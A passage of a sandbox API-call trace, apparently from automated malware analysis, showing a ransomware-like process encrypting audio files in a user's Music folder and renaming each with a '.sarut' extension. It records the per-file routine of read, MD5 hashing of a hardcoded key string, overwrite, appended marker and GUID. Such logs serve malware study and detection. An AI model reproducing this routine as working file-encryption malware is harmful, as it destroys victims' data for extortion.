(HeapHandle=0x640000, Flags=0x0, Size=0x890) returned 0x311d708 [0271.084] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa50e8 | out: hHeap=0x640000) returned 1 [0271.084] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\7SLVf8\\jqJvbR_QvwlZ.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\7slvf8\\jqjvbr_qvwlz.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\7SLVf8\\jqJvbR_QvwlZ.mp3.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\7slvf8\\jqjvbr_qvwlz.mp3.sarut")) returned 1 [0271.085] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0271.085] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0271.086] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fb7ef8 | out: hHeap=0x640000) returned 1 [0271.086] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4902e180, ftCreationTime.dwHighDateTime=0x1d4d335, ftLastAccessTime.dwLowDateTime=0x9148e930, ftLastAccessTime.dwHighDateTime=0x1d4cde0, ftLastWriteTime.dwLowDateTime=0x9148e930, ftLastWriteTime.dwHighDateTime=0x1d4cde0, nFileSizeHigh=0x0, nFileSizeLow=0x4c38, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="L9aKE_qa0wpEDQP.mp3", cAlternateFileName="L9AKE_~1.MP3")) returned 1 [0271.086] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0271.086] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8e) returned 0x2fb7ef8 [0271.086] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0271.086] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\7SLVf8\\L9aKE_qa0wpEDQP.mp3") returned=".mp3" [0271.086] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\7SLVf8\\L9aKE_qa0wpEDQP.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\7slvf8\\l9ake_qa0wpedqp.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0271.087] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=19512) returned 1 [0271.087] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0271.090] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x4c12, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.090] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0271.093] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0271.093] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0271.093] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0271.093] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x4c38, lpOverlapped=0x0) returned 1 [0271.093] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.093] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0271.093] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.093] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.094] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa50e8) returned 1 [0271.094] CryptCreateHash (in: hProv=0x2fa50e8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0271.098] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0271.098] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0271.098] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0271.098] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0271.098] GetLastError () returned 0x0 [0271.098] CryptDestroyHash (hHash=0x3091560) returned 1 [0271.098] CryptReleaseContext (hProv=0x2fa50e8, dwFlags=0x0) returned 1 [0271.098] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0271.098] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x4c40) returned 0x311d708 [0271.098] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0271.098] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0271.098] WriteFile (in: hFile=0x5c4, lpBuffer=0x311d708*, nNumberOfBytesToWrite=0x4c33, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x311d708*, lpNumberOfBytesWritten=0x387fb24*=0x4c33, lpOverlapped=0x0) returned 1 [0271.098] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0271.099] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x4c38, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.099] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0271.099] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0271.099] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0271.099] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0271.099] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0271.099] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0271.099] WriteFile (in: hFile=0x5c4, lpBuffer=0x30b3078*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30b3078*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0271.099] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b3078 | out: hHeap=0x640000) returned 1 [0271.099] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0271.099] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0271.099] CloseHandle (hObject=0x5c4) returned 1 [0271.106] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa50e8 [0271.106] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x890) returned 0x311d708 [0271.106] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa50e8 | out: hHeap=0x640000) returned 1 [0271.106] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\7SLVf8\\L9aKE_qa0wpEDQP.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\7slvf8\\l9ake_qa0wpedqp.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\7SLVf8\\L9aKE_qa0wpEDQP.mp3.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\7slvf8\\l9ake_qa0wpedqp.mp3.sarut")) returned 1 [0271.107] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0271.107] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0271.108] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fb7ef8 | out: hHeap=0x640000) returned 1 [0271.108] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59766b50, ftCreationTime.dwHighDateTime=0x1d4ccef, ftLastAccessTime.dwLowDateTime=0x6efbb610, ftLastAccessTime.dwHighDateTime=0x1d4d33e, ftLastWriteTime.dwLowDateTime=0x6efbb610, ftLastWriteTime.dwHighDateTime=0x1d4d33e, nFileSizeHigh=0x0, nFileSizeLow=0x115d6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ML2ljwZwYxgt.m4a", cAlternateFileName="ML2LJW~1.M4A")) returned 1 [0271.108] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0271.109] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8e) returned 0x2fb7ef8 [0271.109] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0271.109] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\7SLVf8\\ML2ljwZwYxgt.m4a") returned=".m4a" [0271.109] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\7SLVf8\\ML2ljwZwYxgt.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\7slvf8\\ml2ljwzwyxgt.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0271.109] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=71126) returned 1 [0271.109] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0271.112] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x115b0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.112] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0271.115] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0271.115] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x115d6, lpOverlapped=0x0) returned 1 [0271.116] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.116] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0271.116] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.116] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.117] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa50e8) returned 1 [0271.117] CryptCreateHash (in: hProv=0x2fa50e8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0271.117] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0271.118] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0271.118] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0271.118] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0271.118] GetLastError () returned 0x0 [0271.118] CryptDestroyHash (hHash=0x3091560) returned 1 [0271.118] CryptReleaseContext (hProv=0x2fa50e8, dwFlags=0x0) returned 1 [0271.118] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0271.118] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x115e0) returned 0x311d708 [0271.118] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0271.118] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0271.118] WriteFile (in: hFile=0x5c4, lpBuffer=0x311d708*, nNumberOfBytesToWrite=0x115d1, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x311d708*, lpNumberOfBytesWritten=0x387fb24*=0x115d1, lpOverlapped=0x0) returned 1 [0271.119] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0271.119] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x115d6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.119] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0271.119] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0271.119] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0271.119] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0271.119] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0271.119] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0271.119] WriteFile (in: hFile=0x5c4, lpBuffer=0x30b3078*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30b3078*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0271.119] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b3078 | out: hHeap=0x640000) returned 1 [0271.119] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0271.119] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0271.119] CloseHandle (hObject=0x5c4) returned 1 [0271.124] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa50e8 [0271.124] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x890) returned 0x311d708 [0271.124] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa50e8 | out: hHeap=0x640000) returned 1 [0271.124] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\7SLVf8\\ML2ljwZwYxgt.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\7slvf8\\ml2ljwzwyxgt.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\7SLVf8\\ML2ljwZwYxgt.m4a.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\7slvf8\\ml2ljwzwyxgt.m4a.sarut")) returned 1 [0271.125] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0271.125] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0271.126] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fb7ef8 | out: hHeap=0x640000) returned 1 [0271.126] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49c676d0, ftCreationTime.dwHighDateTime=0x1d4d3bd, ftLastAccessTime.dwLowDateTime=0xf65f98f0, ftLastAccessTime.dwHighDateTime=0x1d4d358, ftLastWriteTime.dwLowDateTime=0xf65f98f0, ftLastWriteTime.dwHighDateTime=0x1d4d358, nFileSizeHigh=0x0, nFileSizeLow=0xbaa7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="oaN8Ym.m4a", cAlternateFileName="")) returned 1 [0271.126] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0271.126] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8e) returned 0x2fb7ef8 [0271.126] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0271.126] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\7SLVf8\\oaN8Ym.m4a") returned=".m4a" [0271.126] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\7SLVf8\\oaN8Ym.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\7slvf8\\oan8ym.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0271.127] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=47783) returned 1 [0271.128] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0271.130] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xba81, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.130] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0271.132] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0271.132] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0271.132] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0271.132] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0xbaa7, lpOverlapped=0x0) returned 1 [0271.133] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.133] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0271.133] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.133] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0271.133] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa50e8) returned 1 [0271.134] CryptCreateHash (in: hProv=0x2fa50e8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0271.134] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0271.134] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0271.134] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0271.134] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0271.134] GetLastError () returned 0x0 [0271.134] CryptDestroyHash (hHash=0x3091560) returned 1 [0271.134] CryptReleaseContext (hProv=0x2fa50e8, dwFlags=0x0) returned 1 [0271.134] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0271.134] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xbab0) returned 0x311d708 [0271.135] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0271.135] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0271.135] WriteFile (in: hFile=0x5c4, lpBuffer=0x311d708*, nNumberOfBytesToWrite=0xbaa2, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x311d708*, lpNumberOfBytesWritten=0x387fb24*=0xbaa2, lpOverlapped=0x0) returned 1 [0271.135] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0271.135] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xbaa7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.135] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0271.135] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0271.135] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0271.135] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0271.135] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0271.135] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0271.136] WriteFile (in: hFile=0x5c4, lpBuffer=0x30b3078*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30b3078*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0271.136] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b3078 | out: hHeap=0x640000) returned 1 [0271.136] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0271.136] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0271.136] CloseHandle (hObject=0x5c4) returned 1 [0271.142] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x30826c0 [0271.142] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x880) returned 0x311d708 [0271.142] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30826c0 | out: hHeap=0x640000) returned 1 [0271.142] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\7SLVf8\\oaN8Ym.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\7slvf8\\oan8ym.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\7SLVf8\\oaN8Ym.m4a.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\7slvf8\\oan8ym.m4a.sarut")) returned 1 [0271.183] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0271.183] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0271.184] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fb7ef8 | out: hHeap=0x640000) returned 1 [0271.184] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99f5b4d0, ftCreationTime.dwHighDateTime=0x1d4cb17, ftLastAccessTime.dwLowDateTime=0x13ae8d90, ftLastAccessTime.dwHighDateTime=0x1d4d245, ftLastWriteTime.dwLowDateTime=0x13ae8d90, ftLastWriteTime.dwHighDateTime=0x1d4d245, nFileSizeHigh=0x0, nFileSizeLow=0xb892, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="P r09cK6te2.mp3", cAlternateFileName="PR09CK~1.MP3")) returned 1 [0271.184] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0271.184] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8e) returned 0x2fb7ef8 [0271.184] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0271.184] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\7SLVf8\\P r09cK6te2.mp3") returned=".mp3" [0271.184] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\7SLVf8\\P r09cK6te2.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\7slvf8\\p r09ck6te2.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0271.185] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=47250) returned 1 [0271.185] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, 